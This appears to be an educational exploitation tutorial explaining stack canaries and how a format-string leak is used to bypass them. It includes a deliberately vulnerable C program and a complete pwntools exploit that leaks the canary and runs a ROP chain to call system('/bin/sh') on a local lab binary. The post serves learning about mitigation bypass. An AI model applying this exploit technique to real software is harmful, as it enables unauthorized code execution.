
How to bypass basic exploitation mitigation - Part 0x02 - Stack Canaries
Table of Contents
How the Canary Value Is Stored
Leaking the Stack Canary Value
Housekeeping
This blog post series focuses on basic exploitation mitigation techniques and how to bypass them during exploitation. It consists of:
- Part 0 - Vanilla Buffer Overflow
- Part 1 - DEP/NX
- Part 2 - Stack Canaries
- Part 3 - ASLR
This is part 2 of the series discussing the stack canary protection and how to bypass it using information disclosure vulnerabilities.
Prerequisites
To fully understand the content of this series, you should have a basic knowledge of the following:
- C language.
- gdb
- x86-64 assembly
- Stack-based memory allocation
Tools
Throughout this series, we will be using (and you will need to follow along) the following basic tools:
Stack Canaries - Concept
We briefly discussed the concept of stack canaries in the previous post. This time, however, we will get deeper into the subject and explain how this exploit mitigation works in detail and how to bypass it.
Stack Canaries are a compiler-based protection mechanism that defends against stack-based buffer overflows. The name comes from the canary birds miners used; when a canary died, it signaled danger. In the same spirit, a stack canary signals when memory corruption has occurred before the control-flow of a program is compromised.
How To Enable Stack Canaries
Throughout this post, we will analyze the stack canary mechanism using the vulnerable program from parts 0 and 1 of this series. For convenience, here's the code of the program:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vuln() {
char name[32];
printf("\nWhat is your name?\n");
read(0, name, 256); // here we are overflowing the `name` buffer
}
int main() {
vuln();
return 0;
}
Let's compile it now with stack canaries enabled:
docker run --rm -v "$(pwd):/app" -w /app gcc:10.5.0 gcc -no-pie -fstack-protector-all vuln.c -o vuln
We will again use a specific gcc version to make sure we get the same binary, but this time we pass the option -fstack-protector-all. This will give us a vuln binary on which we can now run the checksec:
pwn checksec vuln
Output:
[*] '/home/kali/bof/stack_canaries/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
As you can see, our binary now has two protection mechanisms: NX and Stack Canaries.
Where the Canary Lives
When a function is compiled with stack protection (via flags like -fstack-protector), the compiler inserts a random value, the canary, between local variables and the saved return address on the stack.
Let's visualize how the stack would look if we compiled our program with stack canaries enabled:
before read() call before read() call
(without canary) (with canary)
------------------------------ ------------------------------
| `name` buffer | | `name` buffer |
------------------------------ ------------------------------
| `name` buffer | | `name` buffer |
------------------------------ ------------------------------
| `name` buffer | | `name` buffer |
------------------------------ ------------------------------
| `name` buffer | | `name` buffer |
------------------------------ ------------------------------
| RBP value | | canary value |
------------------------------ ------------------------------
| ret addr to main() | | RBP value |
------------------------------ ------------------------------
| | | ret addr to main() |
------------------------------ ------------------------------
As you can see, if a buffer overflows past the local variables, which in our case is the name buffer, it will hit the canary before reaching the return address.
How the Canary Value Is Stored
On x86 and x86-64 Linux, the canary is stored in thread-local storage (TLS). Each thread has its own unique canary accessible at offset 0x14 or 0x28 in the FS or GS segment registers, depending on the architecture. This is initialized during thread setup via the set_thread_area syscall, which assigns each thread its own base address. In modern versions of Linux, the canary is randomized at program startup using values from /dev/urandom.
To see what the value is at runtime, we can again use gdb and check the value of the FS register:
gdb ./vuln
---snip---
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 16.3 in 0.00ms using Python engine 3.13
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gef➤ b *main
Breakpoint 1 at 0x401190
gef➤ r
---snip---
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401189 <vuln+0047> call 0x401040 <__stack_chk_fail@plt>
0x40118e <vuln+004c> leave
0x40118f <vuln+004d> ret
●→ 0x401190 <main+0000> push rbp
0x401191 <main+0001> mov rbp, rsp
0x401194 <main+0004> sub rsp, 0x10
0x401198 <main+0008> mov rax, QWORD PTR fs:0x28
0x4011a1 <main+0011> mov QWORD PTR [rbp-0x8], rax
0x4011a5 <main+0015> xor eax, eax
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x401190 in main (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401190 → main()
───────────────────────────────────────--──────────────────────────────────────────────────
gef➤ x/gx $fs_base+0x28
0x7ffff7dac768: 0x7e9d54996dd2e100
gef➤
Once we start our vuln program in gdb, we first set a breakpoint somewhere (main() function in the example above), and we run the program (with r). Once we hit the breakpoint, we can inspect the FS register at offset 0x28, which will return the canary value (in this case, 0x7e9d54996dd2e100).
How Is Canary Checked
At function entry (prologue) and exit (epilogue), a special instructions handle canary setup and verification.
In the prologue, we should see something along these lines:
mov rax,QWORD PTR fs:[0x28]
mov QWORD PTR [rbp + local_10],rax
First, we load the canary value from the FS segment, and then we store it on the stack.
In the epilogue, we should see something like this:
mov rax,QWORD PTR [rbp + local_10]
sub rax,QWORD PTR fs:[0x28]
jz EXIT
call <EXTERNAL>::__stack_chk_fail()
EXIT:
leave
ret
In the code above, we first store the canary value from the stack into the RAX register, then subtract it from the generated value, hoping the result is 0. If the result of this operation is 0, we take the jump to EXIT:, which will leave us out of the function; otherwise, we call the __stack_chk_fail() function, which will handle this condition.
Let's see how this actually looks in ghidra:

Looking at the beginning of the vuln() function, you can now see the canary value being put on top of the stack (addresses 0x0040114a and 0x00401153). Looking at the end of the vuln() function, you can see that if the canary value has changed (e.g., because of the overflow), we call __stack_chk_fail(), otherwise we continue to the ret instruction. The screenshot above clearly shows that our binary now has stack canaries enabled.
The __stack_chk_fail() function is straightforward. First, it emits the message *** stack smashing detected ***, it logs the event, and then it invokes the abort() function to terminate the process immediately.
ghidra also demonstrates it well in its disassembly window (lines 9 and 12 through 15):

Now, how does this fail check manifest when we overflow the buffer? Let's try it out:
./vuln
What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated
zsh: IOT instruction ./vuln
As you can see, instead of the standard segmentation fault error, we now get the " stack smashing detected" message, and our program is terminated. This means that if you overwrite the return address, execution never resumes. The program halts safely instead of jumping to our payload.
To complete the analysis, let's also step through this process in gdb:
gdb ./vuln
---snip---
GEF for linux ready, type gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 16.3 in 0.00ms using Python engine 3.13
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gef➤ disass vuln
Dump of assembler code for function vuln:
0x0000000000401142 <+0>: push rbp
0x0000000000401143 <+1>: mov rbp,rsp
0x0000000000401146 <+4>: sub rsp,0x30
0x000000000040114a <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000401153 <+17>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401157 <+21>: xor eax,eax
0x0000000000401159 <+23>: mov edi,0x402004
0x000000000040115e <+28>: call 0x401030 <puts@plt>
0x0000000000401163 <+33>: lea rax,[rbp-0x30]
0x0000000000401167 <+37>: mov edx,0x100
0x000000000040116c <+42>: mov rsi,rax
0x000000000040116f <+45>: mov edi,0x0
0x0000000000401174 <+50>: call 0x401050 <read@plt>
0x0000000000401179 <+55>: nop
0x000000000040117a <+56>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040117e <+60>: sub rax,QWORD PTR fs:0x28
0x0000000000401187 <+69>: je 0x40118e <vuln+76>
0x0000000000401189 <+71>: call 0x401040 <__stack_chk_fail@plt>
0x000000000040118e <+76>: leave
0x000000000040118f <+77>: ret
End of assembler dump.
gef➤ b *vuln+8
Breakpoint 1 at 0x40114a
gef➤ b *vuln+56
Breakpoint 2 at 0x40117a
The first thing to note here is that I use gdb with the gef extension, and I recommend you do too.
Once we start the program in gdb, we disassemble the vuln() function and set breakpoints in its prologue and epilogue, right before setting the RAX register to the canary value (vuln+8 and vuln+56, respectively).
Then, we run the program with r:
gef➤ r
---snip---
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401142 <vuln+0000> push rbp
0x401143 <vuln+0001> mov rbp, rsp
0x401146 <vuln+0004> sub rsp, 0x30
●→ 0x40114a <vuln+0008> mov rax, QWORD PTR fs:0x28
0x401153 <vuln+0011> mov QWORD PTR [rbp-0x8], rax
0x401157 <vuln+0015> xor eax, eax
0x401159 <vuln+0017> mov edi, 0x402004
0x40115e <vuln+001c> call 0x401030 <puts@plt>
0x401163 <vuln+0021> lea rax, [rbp-0x30]
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x40114a in vuln (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40114a → vuln()
[#1] 0x4011b1 → main()
───────────────────────────────────────────────────────────────────────────────────────────
Once we hit our first break point at vuln+8, where the value from fs:0x28 is loaded to the RAX register, we step over once (with ni):
gef➤ ni
---snip---
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401143 <vuln+0001> mov rbp, rsp
0x401146 <vuln+0004> sub rsp, 0x30
● 0x40114a <vuln+0008> mov rax, QWORD PTR fs:0x28
→ 0x401153 <vuln+0011> mov QWORD PTR [rbp-0x8], rax
0x401157 <vuln+0015> xor eax, eax
0x401159 <vuln+0017> mov edi, 0x402004
0x40115e <vuln+001c> call 0x401030 <puts@plt>
0x401163 <vuln+0021> lea rax, [rbp-0x30]
0x401167 <vuln+0025> mov edx, 0x100
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x401153 in vuln (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401153 → vuln()
[#1] 0x4011b1 → main()
───────────────────────────────────────────────────────────────────────────────────────────
gef➤ p $rax
$1 = 0xb4c2b443d8649e00
Once we print RAX, you will see that it contains the stack canary value. Then we continue (with c):
gef➤ c
Continuing.
What is your name?
aaaaa
---snip---
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40116f <vuln+002d> mov edi, 0x0
0x401174 <vuln+0032> call 0x401050 <read@plt>
0x401179 <vuln+0037> nop
●→ 0x40117a <vuln+0038> mov rax, QWORD PTR [rbp-0x8]
0x40117e <vuln+003c> sub rax, QWORD PTR fs:0x28
0x401187 <vuln+0045> je 0x40118e <vuln+76>
0x401189 <vuln+0047> call 0x401040 <__stack_chk_fail@plt>
0x40118e <vuln+004c> leave
0x40118f <vuln+004d> ret
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x40117a in vuln (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40117a → vuln()
[#1] 0x4011b1 → main()
───────────────────────────────────────────────────────────────────────────────────────────
Once we supply the program with some input, we hit our second break point just right before we read the canary value from the stack to RAX (vuln+56, which is vuln+0x38 in hex).
Let's step through this instruction:
gef➤ ni
---snip---
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401174 <vuln+0032> call 0x401050 <read@plt>
0x401179 <vuln+0037> nop
● 0x40117a <vuln+0038> mov rax, QWORD PTR [rbp-0x8]
→ 0x40117e <vuln+003c> sub rax, QWORD PTR fs:0x28
0x401187 <vuln+0045> je 0x40118e <vuln+76>
0x401189 <vuln+0047> call 0x401040 <__stack_chk_fail@plt>
0x40118e <vuln+004c> leave
0x40118f <vuln+004d> ret
0x401190 <main+0000> push rbp
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x40117e in vuln (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40117e → vuln()
[#1] 0x4011b1 → main()
───────────────────────────────────────────────────────────────────────────────────────────
gef➤
gef➤ p $rax
$2 = 0xb4c2b443d8649e00
gef➤
Now, you can see that when we read the RAX value, it matches the one we get from fs:0x28. This means that our stack canary was intact, so the program continues with normal operation.
Leaking the Stack Canary Value
Although stack canaries protect against naive overflows, slightly more advanced attacks can still bypass them. Now that we understand in detail how stack canaries work and how they affect our program at the assembly level, let's discuss how we can bypass this protection.
There are a couple of techniques at our disposal, depending on the program and the nature of the bug. These could be:
- Canary leaks (via format string or memory disclosure bugs).
- Partial overwrites that do not corrupt the canary's bytes.
- Non-control data attacks where we alter important data that is on the stack before the canary.
Unfortunately, in the case of our vulnerable program, none of these are helpful; i.e., we won't be able to bypass the stack canary protection as is. However, our program is tiny and quite unrealistic. In the vulnerability research on a real application, we would have many more functionalities to work with.
In this example, we will focus on the first approach and try to disclose (leak) the stack canary value. Once we obtain the value and know precisely where on the stack it should be located, we can include it in our payload to restore the canary to its expected value after we overwrite the return address.
With that in mind, let's make our life easier (since we do it to learn after all), and modify our program to introduce the format string vulnerability:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vuln() {
char first_name[32];
char last_name[32];
printf("What is your first name?\n");
read(0, first_name, 32);
printf(first_name);
printf("\nWhat is your last name?\n");
read(0, last_name, 256);
}
int main() {
vuln();
return 0;
}
What you see in the listing above is that we have introduced a new vulnerability in the following code:
read(0, first_name, 32);
printf(first_name);
First, we read some input into first_name, which is ideally a file, since we only read up to 32 bytes, which won't overflow the buffer. But then, we pass this buffer to printf() function. Because we don't specify the format in which this buffer will be displayed, we can craft the name so that printf() starts printing values from the stack. This is called the format string vulnerability.
We will see how to exploit this vulnerability in a moment. First, let's compile the new version of our program:
docker run --rm -v "$(pwd):/app" -w /app gcc:10.5.0 gcc -no-pie -fstack-protector-all vuln_fstr.c -o vuln_fstr
Format String Vulnerability Exploit
Before we attempt to bypass the stack canary protection, let's briefly discuss what the format string vulnerability is and how to exploit it, as I mentioned before, if printf() (and other functions, such as scanf(), etc), the first argument is not just a string to be printed. Instead, it's a format specification that lets you define what the printout will contain.
For instance, consider the following code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vuln() {
char *str1 = "Hello, world!";
printf(str1);
}
int main() {
vuln();
return 0;
}
The program will print the following:
Hello, world!
This is perfectly fine and the proper way to use the printf() function.
Now consider the following case:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vuln() {
char *str1 = "Hello, %s";
char *str2 = ", world!";
printf(str1, str2);
}
int main() {
vuln();
return 0;
}
The last like will resolve to the following:
printf("Hello, %s", ", world!");
Which is also perfectly fine. However, what will happen if we try to print only str1?
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vuln() {
char *str1 = "Hello, %s";
char *str2 = ", world!";
printf(str1);
}
int main() {
vuln();
return 0;
}
Output:
Hello, ����
But why?
Here's the printf() signature:
int printf(const char *restrict format, ...);
As you can see, the first argument is the format which the function will use to format the string. Then there's an undefined number of parameters used to format that string.
If we compile and run the following:
char *name = "Andy";
printf("Hello, %s!", name);
We will get the following output:
Hello, Andy!
This is because %s will take the first value from the stack, and include it in the string to be printed. The values on the stack come from the parameters we pass to printf() (starting with the 2nd parameter). If we don't pass any parameters, we end up with the following:
printf("Hello, %s!");
In this case, the printf() function will put whatever is first on the stack in the place of %s, and what do we have on the stack? Probably some data that isn't printable —like an address or whatever else it might be. That's why we get those non-ASCII characters:
Hello, ����
In C, there's a way to interpret a value as an address using %$p. Instead of non-ASCII characters, this value will be interpreted as a pointer (i.e., an address to a location in memory). Let's give it a try:
printf("Hello, %p!");
Output:
Hello, 0x7fff1fcf33d8!
We've just leaked the top value from the stack, which looks like an address 0x7fff1fcf33d8!
As you've probably figured out by now, we will exploit this format string vulnerability to leak the canary value from the stack. Let's get to it.
Leaking Canary Value
Let's return to our vulnerable example. If we try to run it and give %p as the first name, we should start leaking some values from the stack:
./vuln_fstr
What is your first name?
%p
0x7ffede864660
What is your last name?
Of course, if we specify more parameters, the output should give us more values from the stack. To do that, by passing as the input the following string: %1p %2p %3p .... Instead of using a field specifier (%1p), we can use a positional (indexed) specifier, which we can specify as %1$p %2$p %3$p .... The difference between the two is that %1p specifies a minimum field width with one character, while %1$p means that we want to use the first argument.
So, let's take a look:
./vuln_fstr
What is your first name?
%1$p %2$p %3$p
0x7ffe63494e80 0xf 0x400000
What is your last name?
As you can see, we've started leaking consecutive values from the stack.
Now, depending on what data you have on the stack, i.e., how many arguments we have in the function, what local variable we have defined, their sizes, and how the stack alignment falls in line (remember that on x86-64 architecture, the stack pointer is maintained on a 16-byte boundary).
So, which argument is our stack canary?
As you hopefully already know, since you follow this blog series ;), on x86‑64 Linux, the process follows this order in a typical function frame:
first_namearray (32 bytes)last_namearray (32 bytes, overflow‑prone)- Canary (8 bytes, aligned)
- Saved base pointer (
rbp) - Return address
When printf(first_name) executes, the stack looks roughly like this (bottom = lower addresses):
%1$p : Return address of `printf` (after it returns to `vuln`)
%2$p to %6$p : Saved registers and alignment padding used by `printf` internals
%7$p to %10$p : Saved frame pointers and arguments passed to `printf`
%11$p to %14$p : Additional metadata pushed during var‑arg setup, including `first_name` pointer and I/O state data
%15$p : Stack canary (inserted by compiler at the end of local variables, just before saved base pointer)
When we call printf(first_name), the function treats first_name as a format string and begins reading each %p by pulling 8‑byte words from the stack, progressing upward. By the time we reach %15$p, we are leaking the 15th 8‑byte word relative to the stack pointer at the moment of the function call, which coincides with the location of the canary in the vuln() stack frame.
The exact offset may slightly differ by compiler version and optimization flags, but %15$p typically maps to the canary because around 14 stack slots (function metadata and saved registers) precede it before the compiler‑inserted __stack_chk_guard variable.
Let's give it a try:
./vuln_fstr
What is your first name?
%15$p
0x4c0f106bf94a000
What is your last name?
The value 0x4c0f106bf94a000 doesn't look like an address; in fact, the format matches other stack canaries we have seen in previous examples. One other characteristic that I often like to focus on is that it always ends with 00.
Ok, so we have the stack canary value - or we think we do. We should verify that with gdb:
gdb ./vuln_fstr
---snip---
Reading symbols from ./vuln_fstr...
(No debugging symbols found in ./vuln_fstr)
gef➤ b *vuln
Breakpoint 1 at 0x401152
gef➤ r
---snip---
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401141 <__do_global_dtors_aux+0021> data16 cs nop WORD PTR [rax+rax*1+0x0]
0x40114c <__do_global_dtors_aux+002c> nop DWORD PTR [rax+0x0]
0x401150 <frame_dummy+0000> jmp 0x4010e0 <register_tm_clones>
●→ 0x401152 <vuln+0000> push rbp
0x401153 <vuln+0001> mov rbp, rsp
0x401156 <vuln+0004> sub rsp, 0x50
0x40115a <vuln+0008> mov rax, QWORD PTR fs:0x28
0x401163 <vuln+0011> mov QWORD PTR [rbp-0x8], rax
0x401167 <vuln+0015> xor eax, eax
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln_fstr", stopped 0x401152 in vuln (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401152 → vuln()
[#1] 0x4011f2 → main()
───────────────────────────-───────────────────────────────────────────────────────────────
gef➤ x/gx $fs_base+0x28
0x7ffff7dac768: 0xc9fcfc4eda306300
gef➤ c
Continuing.
What is your first name?
%15$p
0xc9fcfc4eda306300
What is your last name?
[Inferior 1 (process 97084) exited normally]
gef➤
In the listing above, first we set a breakpoint at the vuln() function. When we hit this breakpoint, we check the value of fs+0x28, which gives us 0xc9fcfc4eda306300. Next, we continue execution until we reach the input prompt, where we provide our payload %15$p and press Enter to continue. As you can see, the value we leaked matches the value stored in fs+0x28. This means that we successfully leaked the canary value!
With this capability, we can now proceed to exploit the development process.
How To Bypass Stack Canaries
Now that we know how to leak the canary value, we can use it to bypass the stack canary protection in our exploit.
Exploit Strategy
The exploit will look similar to what we had developed in the previous post, but let's recap what we need to do:
- Trigger the vulnerability.
- Place the address of
system()function argument in RDI register. Since we want to get a shell, our argument needs to be an address to/bin/sh. - Place the address of
system()itself on the stack so that the CPU can call it.
This is how our payload looked:
payload = [
offset,
p64(pop_rdi_ret_addr),
p64(binsh_addr),
p64(system_addr),
]
This time, however, before we place the system() function argument on the stack, we need to inject the canary value that we leak, so here's how our updated payload will look:
payload = [
offset,
p64(canary),
b"B" * 8,
p64(pop_rdi_ret_addr),
p64(binsh_addr),
p64(system_addr),
]
There are a couple of things to discuss here. First, notice that after our buffer, we place the canary value in the payload (we will see how to retrieve it in a moment). The following 8 bytes are where our stack base is (RBP), which we overwrite with 8x B to distinguish it from other parts of the payload, in case we need to debug it. Then we add the remaining payload, forming our ROP chain to place /bin/sh in RDI and call system().
Canary Value
Now, let's see how we can leak the canary and use it in our exploit. Since we will interact with our vulnerable binary using pwntools, let's write a small script to get the canary value:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln_fstr')
p = process('./vuln_fstr')
p.sendlineafter(b"What is your first name?\n", b"%15$p")
leak = p.recvline().strip()
success(f"Leaked canary value: {leak}")
Let's run it:
./solve.py
Output:
[*] '/home/kali/bof/stack_canaries/vuln_fstr'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
[+] Starting local process './vuln_fstr': pid 178472
[+] Leaked canary value: b'0x1027771e64175b00'
[*] Stopped process './vuln_fstr' (pid 178472)
We see that we got the canary value, which we can now use in our exploit to build the payload.
Next, since our program has changed, we should update the addresses of our ROP chain. Given that we still don't know how to bypass ASLR, let's first compile our program statically, so that we don't have to call system() from libc, but rather our binary instead:
docker run --rm -v "$(pwd):/app" -w /app gcc:10.5.0 gcc -no-pie -fstack-protector-all -static -Wl,-u,system vuln_fstr.c -o vuln_fstr
Now, let's find the addresses in the same way we did last time when we developed the exploit to bypass NX.
pop rdi ; ret address
To find the pop rdi ; ret ROP gadget we use the ROPgadget tool:
ROPgadget --binary vuln_fstr | grep "pop rdi ; ret"
0x000000000040178e : pop rdi ; ret
/bin/sh address
To find the address of /bin/sh, we use ghidra:

system() address
To find the system() address, we use the nm tool:
nm vuln_fstr | grep "system"
---snip---
00000000004090b0 W system
---snip---
Final Exploit
Once we have all the required addresses, let's create the payload:
buffer = 40
offset = b"A" * buffer
pop_rdi_ret_addr = 0x40178e
binsh_addr = 0x4898d5
system_addr = 0x4090b0
payload = [
offset,
p64(canary),
b"B" * 8,
p64(pop_rdi_ret_addr),
p64(binsh_addr),
p64(system_addr),
]
Here's the updated exploit:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln_fstr')
p = process('./vuln_fstr')
p.sendlineafter(b"What is your first name?\n", b"%15$p")
leak = p.recvline().strip()
success(f"Leaked canary value: {leak}")
canary = int(leak, 16)
buffer = 40
offset = b"A" * buffer
pop_rdi_ret_addr = 0x40178e
binsh_addr = 0x4898d5
system_addr = 0x4090b0
payload = [
offset,
p64(canary),
b"B" * 8,
p64(pop_rdi_ret_addr),
p64(binsh_addr),
p64(system_addr),
]
payload = b"".join(payload)
p.sendlineafter(b"What is your last name?\n", payload)
p.interactive()
Let's run it:
./solve.py
[*] '/home/kali/bof/stack_canaries/vuln_fstr'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
[+] Starting local process './vuln_fstr': pid 188003
[+] Leaked canary value: b'0xb8a92e2180dc1d00'
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),107(bluetooth),115(scanner),127(lpadmin),135(wireshark),137(kaboxer),138(docker)
As you can see, when we run our exploit, our shell is spawned, and we can interact with it.
Excellent, we've successfully bypassed the stack canary protection!
Conclusions
In this part, we've covered all the details required to understand what the stack canary protection is, how it works, and how to bypass it. You've also learned about the format string vulnerability class, which you now can use to leak various information of the vulnerable program, including the content of the stack.
Our vulnerable program and the exploit are elementary, designed to allow you to understand different concepts fully. However, there's another protection mechanism that would make our exploit completely useless: ASLR. We've been conveniently pretending that this protection doesn't exist, and whenever applicable, we've explicitly switched it off. It's time, however, that we turn our focus on it, learn how it works, and try to find a way to bypass it. We will do it next.